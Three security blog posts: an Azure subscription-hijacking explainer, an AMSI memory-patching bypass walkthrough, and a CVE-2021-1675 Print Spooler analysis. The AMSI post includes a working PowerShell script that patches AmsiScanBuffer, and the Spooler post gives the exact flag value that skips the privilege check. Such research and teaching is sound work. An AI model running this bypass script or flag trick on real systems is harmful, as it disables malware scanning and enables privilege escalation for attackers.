Microsoft Azure Subscription Hijacking

Microsoft Azure Subscription Hijacking

Suppose you have a pay-as-you-go subscription in Azure. In that case, you might need to review who owns the Global Administrator role or who has owner permissions on that subscription in your tenant as a malicious user or attacker can hijack the subscription and make high costs at your expense. Since all activity logs are moved to the malicious user or attacker’s tenant, detecting this attack is, let us say, challenging. This blog post will briefly explain how attackers perform this attack.

Payment Information

Only a credit card or debit card is accepted when creating a pay-as-you-go subscription. Once you create the pay-as-you-go subscription, the payment information is attached to that subscription. So, suppose a malicious user or attacker moves the tenant’s subscription to a controlled tenant by the malicious user or attacker. In that case, the payment information is also moved over, including the activity logs. Once the subscription lives in the malicious user or attacker-controlled tenant, deploying resources comes at your costs, and you can not take it back. The result is losing all resources in that subscription, including very high costs if the attacker deploys resources.

Owner Permissions

It is possible to perform the attack if a malicious user or attacker gets owner permissions on a pay-as-you-go subscription. So be careful to give a guest user owner permission on a pay-as-you-go subscription. Since the guest user is out of your control, once the guest user gets compromised, an attacker can change the directory and move the subscription to an attacker controller tenant and deploy resources or mine crypto, which results in high costs.

Once a malicious user with the Global Administrator role or an attacker gets hold of a user with the Global Administrator role, a single click is needed to get owner permissions on all subscriptions within the tenant and perform the attack. The single-click option is the “Access management for Azure resources” within Azure Active Directory, elevating access to all subscriptions and management groups.

Image 1: Moving the subscription, payment info and activity log to the attacker’s tenant.

Once setting the owner permissions, the malicious user or attacker invites a user from the malicious user or attacker-controlled tenant and changes directory to move the subscription, including the payment information of the victim and the activity logs.

Conclusion

For me, it is mind-blown why Microsoft does not validate the payment information when moving the subscription to another directory. The activity logs move along with the subscription, so detection is challenging, but monitoring your identities, limiting the users with the Global Administrator role, and no owner permissions for guest users should lower the risk of a successful attack.

Microsoft Windows Antimalware Scan Interface Bypasses

Microsoft Windows Antimalware Scan Interface Bypasses

Antimalware Scan Interface, or AMSI in short, is an interface standard for Windows components like User Account Control, PowerShell, Windows Script Host, Macro’s, Javascript, and VBScript to scan for malicious content. AMSI sits in the middle of an application and an AMSI provider, like Microsoft Defender, to identify malicious content. In this blog post, I will go through the technical details on bypassing AMSI using a technique called memory patching.

How AMSI works

When running any code in PowerShell, it is passed to AMSI first before executing. AMSI will scan for any malicious content and report back to the AMSI provider with the result. If the result is “clean,” the code is executed. If the result is “detected,” the AMSI provider blocks the execution.

Here is an illustration of the AMSI architecture.

Image 1: AMSI architectural overview.

And here is an example of AMSI blocking a “malicious” string in PowerShell.

Image 2: AMSI blocking the string “amsiscanbuffer”.

As you can see, AMSI identified “amsiscanbuffer” as malicious, and Microsoft Defender, as an AMSI provider, blocked the content from running.

Debugging AMSI

I will use WinDbg in combination with PowerShell to perform the bypass and explain what is going on.

First, we start WinDbg and PowerShell. When we attach PowerShell to WinDbg, we can see amsi.dll is one of the loaded modules.

Image 3: AMSI loaded as a module.

We can use the “x” command to examine all symbols that match a specified pattern to identify all AMSI symbols.

Image 4: All AMSI symbols starting with amsi!Amsi.

Luckily, Microsoft well documents the functions in Antimalware Scan Interface, which is very helpful.

Image 5: Microsoft docs AMSI functions.

Let us set a breakpoint on “amsi!AmsiScanBuffer” first and see if we can bypass AMSI.

Image 6: Setting a breakpoint and resume PowerShell.

If we look at the Microsoft documentation, AmsiScanBuffer “Scans a buffer-full of content for malware.” AmsiScanBuffer accepts multiple parameters, including the buffer to scan and the length of the buffer. If we can change the buffer or change the length of the buffer, we can probably bypass AMSI.

Do not be overwhelmed by the assembly code. Even though this blog post is not about assembly language, I will guide you through it. We can ignore most parts of the code anyway—for example, the first line of code.

mov r11, rsp

In assembly, a stack is an abstract data structure that consists of information in a Last In First Out system. To speed up the processor operations, the processor includes some internal memory storage locations, called registers. The registers differences between architectures like 16, 32, and 64 bits. In x86 assembly 16 bit, the registers are AX, BX, CX, DX, etc. With 32 bit, the registers have an “E” prepended. The “E” stands for Extended, and they never think this through for when another architecture is released because, for 64 bit, the registers have an “R” prepended. The “MOV” command moves any value from one register to the other.

So, the first line of code moves whatever is in the RSP register to the R11 register. The RSP register is the stack pointer register, and it points to the top of the stack. All the first line of code does is to preserve the address of the pointer in another register.

All of this is to explain you do not have to look at all lines of code as not everything is relevant. From now on, I will only go through the exciting parts of the code.

AMSI Bypass

Oversimplified, we skip all of the code in AmsiScanBuffer to the end of the procedure so that no scanning occurs. Without scanning, no identification of malicious code takes place.

The instruction to return from the procedure is “ret.” The return instruction is a single byte and is “c3” in hexadecimal. The first line of code contains three bytes, “41 8b f8”. We need to replace the other two instructions since we only use a single byte for the return instruction. Luckily there is an operation to fill the gaps, called a “no operation” or “nop.” A “nop” operation does nothing and is perfect for filling the gaps.

So we replace “41 8b f8” with “ret, nop, nop” or “c3 90 90” respectively.

Image 7: Changing the code to a return and two no-operations.

If we continue PowerShell, we see AMSI is not detecting the malicious string.

Image 8: amsiscanbuffer not detected as malicious due to patch.

Here is an animation of the bypass.

Animation 1: AMSI bypass using a return.

PowerShell Script

Rasta Mouse already created a script to patch AMSI in memory, so we use this as a starting point.

$Win32 = @"

using System;
using System.Runtime.InteropServices;

public class Win32 {

    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

}
"@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]0)
$Patch = [Byte[]] (0xc3, 0x90, 0x90)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 3)

The script uses GetProcAddress to retrieve the address of an exported function, which in this case, is asmi.dll. VirtualProtect changes the protection on a region to write so we can write to memory. The variable $patch is a byte array with our bytes to “patch.”

If we run this script in PowerShell, we can see that “amsiscanbuffer” is not marked as malicious anymore.

Image 9: Patching PowerShell to bypass AMSI.

Another AMSI Bypass

Ok, back to the AmsiScanBuffer function. Before calling the function, the values for the parameters need to be pushed on top of the stack. We know that one of the parameters is the length of the buffer.

If we step through the code, we find “mov edi, r8d”. The value of register “r8d” is “1c,” which is 28 in decimal. So the length of the buffer that is check is 28 bytes. If we change this value to 0, there is no buffer to check.

Image 10: Bypassing AMSI by setting the length of the buffer to 0.

If we resume PowerShell in WinDbg, we can see the “malicious” string “amsiscanbuffer” is not marked as malicious anymore.

Image 11: AMSI bypassed by setting the length of the buffer to 0.

Here is an animation of the bypass.

Animation 2: AMSI bypass using a 0 buffer length.

Conclusion

As you can see, AMSI is not hard to bypass. Even if Microsoft identifies common code used in a bypass as malicious, there are many ways to work around it. Even script-kiddies are not detected if they know they need to run a simple script to bypass AMSI before running malicious code. Hopefully, AMSI keeps updating the matching pattern where most bypasses are detected. It is a matter of time, though, when attackers create a new bypass.

Microsoft Windows Print Spooler Elevation of Privilege vulnerability (CVE-2021-1675) explained

Microsoft Windows Print Spooler Elevation of Privilege vulnerability (CVE-2021-1675) explained

I guess most of you heard about the Windows Print Spooler Elevation of Privilege vulnerability (CVE-2021-1675) in the last couple of weeks. It is a vulnerability that gives an attacker high privileges when they own a regular user account on all print spooler service-enabled devices. Unfortunately, it runs on all Windows Operating Systems by default. In this blog post, I will go into the technical aspect of this vulnerability. Remember that CVE-2021-1675 is NOT the same as the Printnightmare (CVE-2021-34527) vulnerability.

Windows Print Spooler Elevation of Privilege

Vulnerability CVE-2021-1675 is an authentication bypass vulnerability found in the AddPrinterDriverEx function.

The AddPrinterDriverEx function installs a local or remote printer driver and links the configuration, data, and driver files. According to Microsoft, “The caller must have the SeLoadDriverPrivilege” privileges to install a driver.

Using whoami, you can check which privileges you have for the current process:

Image 1: whoami /priv output

To set the SeLoadDriverPrivileges privileges, you can use a local or domain policy:

Image 2: Group Policy: Load and unload device drivers

Note: Default for workstation and servers administrators have these privileges and default on a domain controller it is the Administrators and Print Operators. The administrator groups’ default groups and users are Domain Administrators, Enterprise Administrators, and the administrator account.

The vulnerability found is that you can bypass the check for SeLoadDriverPrivilege privileges. So basically, any authenticated user can install a local or remote printer driver. When installing a driver, the Microsoft Windows Print Spooler service loads the driver after installing. An attacker uses this to their advantage by installing a malicious payload.

Authentication Bypass

Let us look at the AddPrinterDriverEx function first. To run this function successfully, it requires a set of parameters:

BOOL AddPrinterDriverEx(
  _In_    LPTSTR pName,
  _In_    DWORD  Level,
  _Inout_ LPBYTE pDriverInfo,
  _In_    DWORD  dwFileCopyFlags
);

The most interesting parameter is the dwFileCopyFlags parameter but more on that later.

Let us first attach the spooler service process and see what libraries are loaded. One of the dependencies used by the spooler service is localspl.dll:

Image 3: Loaded libraries by the print spooler

Note: The library localspl.dll handles all print jobs directed to printers managed from the local server.

One of the functions localspl.dll contains is SplAddPrinterDriverEx. Here is the SplAddPrinterDriverEx function in pseudocode using Ghidra:

Image 4: Function in pseudocode using Ghidra of SplAddPrinterDriverEx

Here it finally gets more technical!

The issue here is that param_4, passed in the SplAddPrinterDriverEx function, is user-controllable, and later in the function, param_4 is used in an if statement.

Image 5: if statement with param_4

So if you can control param_4, you can control the if statement. And guess what param_4 is: Correct, dwFileCopyFlags used in the AddPrinterDriverEx function!

So the dwFileCopyFlags, which you use as an argument for the AddPrinterDriverEx function, lets you control the if statement in SplAddPrinterDriverEx. Let us see why this is important.

Looking at the pseudocode, FUN_180020258 is the function to check if the user has SeLoadDriverPrivilege privileges. This function only runs when you enter the if statement. So, skipping this if statement skips the check for SeLoadDriverPrivilege privileges. The if statement only runs if uVar5 is not equal to 0. Luckily for us, uVar5 is set in the if statement, which we control.

To see what is going on, we need to switch to Assembly language:

Image 6: Assembly code of the SplAddPrinterDriverEx function

The BT instruction stands for bit test. Bit Test selects the bit in a bit string (specified with the first operand, called the bit base) at the bit-position designated by the bit offset (specified by the second operand) and stores the value of the bit in the CF flag.

The bit base is DwFileCopyFlags, and the bit-position is 0xf. CMOVNC follows the BT instruction, which stands for “Move if not carry (CF=0)”.

So the bit test instruction selects a bit in DwFileCopyFlags at bit-position 0xf and stores the bit in the CF flag. CMOVNC checks if CF=0, then the condition is satisfied, and uVar5 will be the value of param_7. When uVar5 is not equal to 0, the check for SeLoadDriverPrivilege privileges never executes:

Image 7: if statement which skips the SeLoadDriverPrivilege privileges check

The bit base used in the bit test instruction is DwFileCopyFlags, so we need to look at those flags closer. Using WinDbg, we can see what value DwFileCopyFlags contains when executing the vulnerability:

Image 8: DwFileCopyFlags value of 18014

So the value is 0x8014. When looking at the Proof of Concept code, the argument for DwFileCopyFlags is:

private const uint APD_COPY_ALL_FILES = 0x00000004;
uint flags = APD_COPY_ALL_FILES | 0x10 | 0x8000;

0x00000004 or 0x10 or 0x8000 = 0x8014:

Image 9: Output of 4 OR 10 OR 8000 = 8014

In binary, it is 1000 0000 0001 0100. So the bit test checks if the 15th bit (0xf in hexadecimal) is equal to 0, and if it is, it will enter the if statement.

In this case, the 15th bit is a 1, and uVar5 is set, which results in skipping the SeLoadDriverPrivilege privileges check:

Image 10: Skipping SeLoadDriverPrivilege privileged check at CALL FUN_180020258

Here is the output of the SeLoadDriverPrivilege privileged skip in WinDbg:

Image 11: Output of the SeLoadDriverPrivilege privileged skip in WinDbg

Anyone that can find another combination where the 15th bit is ‘1’ can probably bypass a patch released by Microsoft.

Printnightmare

As mentioned in the beginning: CVE-2021-1675 is NOT the same as the Printnightmare (CVE-2021-34527) vulnerability. Vulnerability CVE-2021-1675 is a local elevation of privilege escalation, and CVE-2021-34527 is a remote code execution vulnerability but more on that in a future blog post!

So, in short, if the 15th bit (counting from 0) is equal to 1, the SeLoadDriverPrivilege check is skipped.

Proof of Concept

I created a C# proof of concept and pushed it to my GitHub to play with the vulnerability.

Conclusion

It took almost 1000 words to explain that the SeLoadDriverPrivilege is skipped when the 15th bit is set to one, but it is an awesome bug, and looking at the many CVE’s in the print spooler, this vulnerability will not be the last.

Special thanks go out to mez0 for not being too annoyed by my stupid questions.